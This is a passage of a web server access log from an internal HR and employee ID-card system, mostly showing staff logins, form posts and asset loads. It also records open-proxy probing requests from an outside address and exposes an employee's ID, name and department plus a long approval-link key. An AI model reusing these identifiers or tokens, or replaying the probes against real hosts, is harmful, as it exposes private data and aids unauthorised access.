+0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [01/Dec/2025:11:29:51 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [01/Dec/2025:11:29:52 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:53 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:53 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.146 - - [01/Dec/2025:11:29:55 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:55 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [01/Dec/2025:11:30:18 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 2 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:30:18 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 2 192.168.11.146 - - [01/Dec/2025:11:30:32 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:30:32 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 192.168.11.146 - - [01/Dec/2025:11:30:41 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 1015 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:30:41 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 1015 100.64.0.1 - - [01/Dec/2025:11:30:53 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:11:30:53 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [01/Dec/2025:11:31:24 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:11:31:24 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [01/Dec/2025:11:42:31 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [01/Dec/2025:11:42:31 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:11:42:42 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:11:42:42 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 192.168.11.146 - - [01/Dec/2025:11:46:04 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:46:04 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [01/Dec/2025:11:46:05 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:46:05 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.146 - - [01/Dec/2025:11:47:56 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:47:56 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [01/Dec/2025:11:47:57 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:47:57 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [01/Dec/2025:11:47:58 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:47:58 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 192.168.11.146 - - [01/Dec/2025:11:48:01 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:48:01 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.146 - - [01/Dec/2025:11:48:02 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:48:02 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.146 - - [01/Dec/2025:11:48:08 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7125 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:48:08 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7125 192.168.11.146 - - [01/Dec/2025:11:48:10 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250988&empname=%E7%A8%8B%E9%9D%9C%E5%87%B1&deptname=%E8%A3%BD%E4%BA%8C%E9%83%A8 HTTP/1.1" 200 6627 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:48:10 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250988&empname=%E7%A8%8B%E9%9D%9C%E5%87%B1&deptname=%E8%A3%BD%E4%BA%8C%E9%83%A8 HTTP/1.1" 200 6627 192.168.11.146 - - [01/Dec/2025:11:48:11 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250988.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250988&empname=%E7%A8%8B%E9%9D%9C%E5%87%B1&deptname=%E8%A3%BD%E4%BA%8C%E9%83%A8" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:48:11 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250988.jpg HTTP/1.1" 404 244 192.168.11.146 - - [01/Dec/2025:11:48:11 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250988&empname=%E7%A8%8B%E9%9D%9C%E5%87%B1&deptname=%E8%A3%BD%E4%BA%8C%E9%83%A8" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:48:11 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715 192.168.11.146 - - [01/Dec/2025:11:48:11 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250988&empname=%E7%A8%8B%E9%9D%9C%E5%87%B1&deptname=%E8%A3%BD%E4%BA%8C%E9%83%A8" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:48:11 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231 192.168.11.146 - - [01/Dec/2025:11:48:11 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&empid=X250988&empname=%E7%A8%8B%E9%9D%9C%E5%87%B1&deptname=%E8%A3%BD%E4%BA%8C%E9%83%A8" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:48:11 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js HTTP/1.1" 200 25006 192.168.11.146 - - [01/Dec/2025:11:48:24 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250988.jpg HTTP/1.1" 404 244 192.168.11.146 - - [01/Dec/2025:11:48:24 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250988.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [01/Dec/2025:11:48:31 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250988.jpg HTTP/1.1" 404 244 192.168.11.146 - - [01/Dec/2025:11:48:31 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250988.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [01/Dec/2025:11:48:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250988.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 192.168.11.146 - - [01/Dec/2025:11:48:33 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250988.jpg HTTP/1.1" 404 244 100.64.0.1 - - [01/Dec/2025:12:01:30 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:12:01:30 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:12:01:35 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [01/Dec/2025:12:01:35 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:12:12:53 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:12:12:53 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 192.168.11.76 - - [01/Dec/2025:12:29:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:12:29:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 100.64.0.1 - - [01/Dec/2025:12:29:57 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [01/Dec/2025:12:29:57 +0800] "GET / HTTP/1.0" 200 439 192.168.11.76 - - [01/Dec/2025:12:29:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:12:29:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.76 - - [01/Dec/2025:12:30:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:12:30:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.76 - - [01/Dec/2025:12:30:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:12:30:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.76 - - [01/Dec/2025:12:30:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:12:30:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.76 - - [01/Dec/2025:12:30:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8751892844703035 HTTP/1.1" 200 8640 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:12:30:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8751892844703035 HTTP/1.1" 200 8640 192.168.11.76 - - [01/Dec/2025:12:31:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8751892844703035 HTTP/1.1" 200 14074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8751892844703035" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:12:31:11 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8751892844703035 HTTP/1.1" 200 14074 100.64.0.1 - - [01/Dec/2025:12:31:28 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [01/Dec/2025:12:31:28 +0800] "GET / HTTP/1.0" 200 439 192.168.11.76 - - [01/Dec/2025:12:32:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.76 - - [01/Dec/2025:12:32:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 100.64.0.1 - - [01/Dec/2025:12:33:15 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [01/Dec/2025:12:33:15 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [01/Dec/2025:12:36:13 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:12:36:13 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:12:38:16 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:12:38:16 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:12:38:19 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA199B82A5D02A919975CA6856FC5703E4F0EABFAF39FFF9CE9A6C2F2F351F7F6CBCC7DFBB2817DF650A7DA04CCA9607F31211309CD2223A14F HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:12:38:19 +0800] "GET 